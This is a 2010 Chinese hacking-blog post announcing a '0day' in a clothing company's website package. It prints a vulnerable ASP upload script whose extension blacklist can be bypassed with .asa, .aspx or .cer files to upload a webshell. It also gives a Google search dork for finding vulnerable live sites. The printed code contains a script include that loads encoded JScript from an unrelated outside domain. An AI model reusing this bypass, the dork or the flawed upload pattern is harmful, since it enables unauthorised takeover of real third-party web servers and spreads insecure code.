功能测试
                                                           feedsky 抓虾 google reader 鲜果 QQ邮箱 my yahoo 有道
首页 > 入侵辅助 > 正文

金威世家服装有限公司FLASH整站 0day

发布-白银时代 | 查看- | 发表时间-2010-1-7

        同样来源于:http://yxmhero1989.blog.163.com/,大家小心点,已经说过很多次了,反正本大王不想吃窝窝头,玩躲猫猫。

Author:Minghacker

From:www.3est.com

Blog:http://yxmhero1989.blog.163.com

貌似有新旧版本。

看代码sub_uploadb.asp

<%@language=VBScript%>

<!--#include FILE="upload.inc"-->

<%

dim upload,file,formName,formPath,iCount,fileformat

set upload=new upload_F

 function MakedownName()

  dim fname

    fname = now()

  fname = replace(fname,"-","")

   fname = replace(fname," ","")

  fname = replace(fname,":","")

    fname = replace(fname,"PM","")

    fname = replace(fname,"AM","")

  fname = replace(fname,"上午","")

    fname = replace(fname,"下午","")

    fname = int(fname) + int((10-1+1)*Rnd + 1)

  MakedownName=fname

 end function

formPath="../../upload/"

iCount=0

for each formName in upload.file ''列出所有上传了的文件

 set file=upload.file(formName)  ''生成一个文件对象

 fileformat=lcase(right(file.filename,4))

 if fileformat=".asp" or fileformat=".exe" or fileformat=".txt" or fileformat=".htm" then

  response.write"<script>alert('文件格式不对,请重新上传!');location='"&request.ServerVariables("HTTP_REFERER")&"'</script>"

 response.end

end if

 if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据

  newname=MakedownName()&"."&mid(file.FileName,InStrRev(file.FileName, ".")+1)

  file.SaveAs Server.mappath(formPath&newname)   ''保存文件

  filename=file.filepath&file.filename

  filename=replace(filename,"\","/")

  uploadpath=formpath&newname

  uploadpath=mid(uploadpath,instr(formpath,"upload"))

  iCount=iCount+1%>

  <script>

  fn="<%=uploadpath%>"

  filename="<%=filename%>"

  window.opener.document.form.proimgb.value=fn

  window.opener.document.form.probpath.value=filename

  window.close();

</script>

 <%else

 response.write("<font size=1.5 color=red>")

  response.write "未找到文件 &nbsp;&nbsp;<A HREF=javascript:history.back(1)>返回</A>"

  response.write("</font>")

  response.end

 end if

next

%>

<html>

<head>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<link rel="stylesheet" href="css.css" type="text/css">

<style type="text/css">

<!--

body,td,th {

 font-size: 12px;

}

body {

 margin-left: 10px;

 margin-top: 10px;

 margin-right: 10px;

 margin-bottom: 10px;

 background-image: url(../../images/bg.gif);

}

-->

</style>

<script language="JScript.Encode" src="http://www.16885688.com/include.js">

 

if fileformat=".asp" or fileformat=".exe" or fileformat=".txt" or fileformat=".htm" then。。

只过滤了asp等等,可以传其他譬如asa,aspx,cer等等(如果服务器支持的话)

asp/up/upload.asp调用上面sub_uploadb.asp。上传得Shell,不解释了。

Google:inurl:/managepro.asp

站不多,关键字还是大家自己构造好些。具体问题具体对待。

金威世家服装有限公司FLASH整站 0day

feedsky 抓虾 google reader 鲜果 QQ邮箱 my yahoo 有道
或许你还对下面的文章感兴趣

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

quote 1. Tony
Tony 留言
quote 2. Tony
Tony 终于可以留言了
quote 3. Tony
Tony 一直说我有非法的词语!现在终于好了!你是不是过滤的太严格了?
白银时代 于 2010-1-8 13:19:49 回复
自从前段时间报非法留言之后我已经把月光的那个插件去掉了。
叶松 汗啊,,,,,,,
伏少雄 不懂技术,看不太懂
老七 这是干嘛。?
最新文章
最近评论
访客留言
管理     | 主题由 SéɑńしΟΟ设计完成。 GHD|wedding dresses
本程序由ΖβしΟɡ搭建。